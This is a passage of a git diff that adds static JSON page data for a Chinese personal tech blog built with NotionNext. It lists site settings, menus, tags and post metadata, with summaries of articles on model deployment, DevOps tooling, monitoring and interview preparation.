dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"2024-1-21","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"2024-1-21","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"tag":"spring"},"__N_SSG":true} \ No newline at end of file diff --git "a/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\345\267\245\345\205\267.json" "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\345\267\245\345\205\267.json" new file mode 100644 index 000000000..ab41e10e2 --- /dev/null +++ "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\345\267\245\345\205\267.json" @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos 